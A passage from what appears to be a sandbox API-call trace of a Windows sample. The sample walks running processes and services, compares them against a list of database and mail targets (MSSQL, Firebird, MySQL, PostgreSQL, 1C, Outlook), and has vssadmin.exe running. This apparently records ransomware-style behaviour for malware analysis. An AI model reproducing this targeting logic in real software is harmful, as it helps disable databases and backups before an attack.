[0188.987] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0188.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0188.987] lstrlenW (lpString="WdiServiceHost") returned 14 [0188.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0188.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0188.987] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0188.987] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0188.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0188.987] lstrlenW (lpString="WdiSystemHost") returned 13 [0188.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0188.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0188.987] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0188.987] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0188.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0188.987] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0188.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0188.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0188.988] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0188.988] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0188.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0188.988] lstrlenW (lpString="Winmgmt") returned 7 [0188.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0188.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0188.988] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0188.988] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0188.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0188.988] lstrlenW (lpString="WPDBusEnum") returned 10 [0188.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0188.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0188.988] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0188.988] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0188.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0188.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b5c80 | out: hHeap=0x5c0000) returned 1 [0188.988] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x224 [0188.990] Process32FirstW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0188.990] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0188.990] lstrlenW (lpString="System") returned 6 [0188.990] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0188.990] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0188.990] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0188.990] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0188.990] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0188.990] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0188.991] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0188.991] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0188.991] lstrlenW (lpString="smss.exe") returned 8 [0188.991] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0188.991] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0188.991] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0188.991] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0188.991] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0188.991] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0188.991] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0188.991] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0188.991] lstrlenW (lpString="csrss.exe") returned 9 [0188.991] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0188.991] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0188.991] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0188.991] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0188.992] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0188.992] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0188.992] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0188.992] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0188.992] lstrlenW (lpString="wininit.exe") returned 11 [0188.992] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0188.992] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0188.992] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0188.992] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0188.992] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0188.992] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0188.992] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0188.992] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0188.992] lstrlenW (lpString="csrss.exe") returned 9 [0188.992] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0188.993] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0188.993] lstrlenW (lpString="winlogon.exe") returned 12 [0188.993] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0188.993] lstrlenW (lpString="services.exe") returned 12 [0188.994] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0188.994] lstrlenW (lpString="lsass.exe") returned 9 [0188.994] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0188.994] lstrlenW (lpString="lsm.exe") returned 7 [0188.994] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.994] lstrlenW (lpString="svchost.exe") returned 11 [0188.995] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.995] lstrlenW (lpString="svchost.exe") returned 11 [0188.995] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.995] lstrlenW (lpString="svchost.exe") returned 11 [0188.995] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.996] lstrlenW (lpString="svchost.exe") returned 11 [0188.996] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.996] lstrlenW (lpString="svchost.exe") returned 11 [0188.996] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0188.996] lstrlenW (lpString="audiodg.exe") returned 11 [0188.996] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.997] lstrlenW (lpString="svchost.exe") returned 11 [0188.997] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0188.997] lstrlenW (lpString="explorer.exe") returned 12 [0188.997] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0188.997] lstrlenW (lpString="dwm.exe") returned 7 [0188.997] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.998] lstrlenW (lpString="svchost.exe") returned 11 [0188.998] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0188.998] lstrlenW (lpString="n.exe") returned 5 [0188.998] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0188.999] lstrlenW (lpString="spoolsv.exe") returned 11 [0188.999] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.999] lstrlenW (lpString="svchost.exe") returned 11 [0188.999] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0188.999] lstrlenW (lpString="taskhost.exe") returned 12 [0188.999] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0189.000] lstrlenW (lpString="reader_sl.exe") returned 13 [0189.000] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0189.000] lstrlenW (lpString="n.exe") returned 5 [0189.000] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0189.000] lstrlenW (lpString="cmd.exe") returned 7 [0189.000] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0189.001] lstrlenW (lpString="conhost.exe") returned 11 [0189.001] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0189.001] lstrlenW (lpString="vssadmin.exe") returned 12 [0189.001] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0189.002] lstrlenW (lpString="VSSVC.exe") returned 9 [0189.002] Process32NextW (in: hSnapshot=0x224, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0189.002] CloseHandle (hObject=0x224) returned 1 [0189.002] Sleep (dwMilliseconds=0x1f4) [0189.785] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x633dc8 [0189.786] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 0 [0189.786] GetLastError () returned 0xea [0189.786] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x123e) returned 0x6b5c80 [0189.786] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6b5c80, cbBufSize=0x123e, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6b5c80, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 1 [0189.786] CloseServiceHandle (hSCObject=0x633dc8) returned 1 [0189.787] lstrlenW (lpString="Appinfo") returned 7 [0189.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0189.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0189.787] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0189.787] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0189.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0189.787] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0189.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0189.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0189.787] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0189.787] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0189.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0189.787] lstrlenW (lpString="AudioSrv") returned 8 [0189.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0189.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0189.787] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0189.787] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0189.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0189.787] lstrlenW (lpString="BFE") returned 3 [0189.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0189.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0189.787] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0189.787] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0189.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0189.787] lstrlenW (lpString="CryptSvc") returned 8 [0189.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0189.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0189.788] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0189.788] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0189.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0189.788] lstrlenW (lpString="CscService") returned 10 [0189.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0189.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0189.788] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0189.788] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0189.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0189.788] lstrlenW (lpString="DcomLaunch") returned 10 [0189.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0189.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0189.788] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0189.788] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0189.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0189.788] lstrlenW (lpString="Dhcp") returned 4 [0189.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0189.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0189.788] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0189.788] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0189.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0189.788] lstrlenW (lpString="Dnscache") returned 8 [0189.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0189.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0189.788] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0189.788] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0189.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0189.788] lstrlenW (lpString="DPS") returned 3 [0189.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0189.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0189.788] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0189.788] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0189.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0189.789] lstrlenW (lpString="eventlog") returned 8 [0189.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0189.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0189.789] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0189.789] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0189.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0189.789] lstrlenW (lpString="EventSystem") returned 11 [0189.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0189.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0189.789] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0189.789] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0189.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0189.789] lstrlenW (lpString="gpsvc") returned 5 [0189.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0189.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0189.789] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0189.789] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0189.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0189.789] lstrlenW (lpString="iphlpsvc") returned 8 [0189.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0189.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0189.789] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0189.789] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0189.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0189.789] lstrlenW (lpString="LanmanServer") returned 12 [0189.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0189.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0189.789] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0189.789] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0189.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0189.789] lstrlenW (lpString="LanmanWorkstation") returned 17 [0189.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0189.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0189.790] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0189.790] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0189.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0189.790] lstrlenW (lpString="lmhosts") returned 7 [0189.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0189.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0189.790] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0189.790] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0189.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0189.790] lstrlenW (lpString="MMCSS") returned 5 [0189.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0189.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0189.790] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0189.790] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0189.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0189.790] lstrlenW (lpString="MpsSvc") returned 6 [0189.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0189.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0189.790] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0189.790] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0189.790] lstrcmpiW 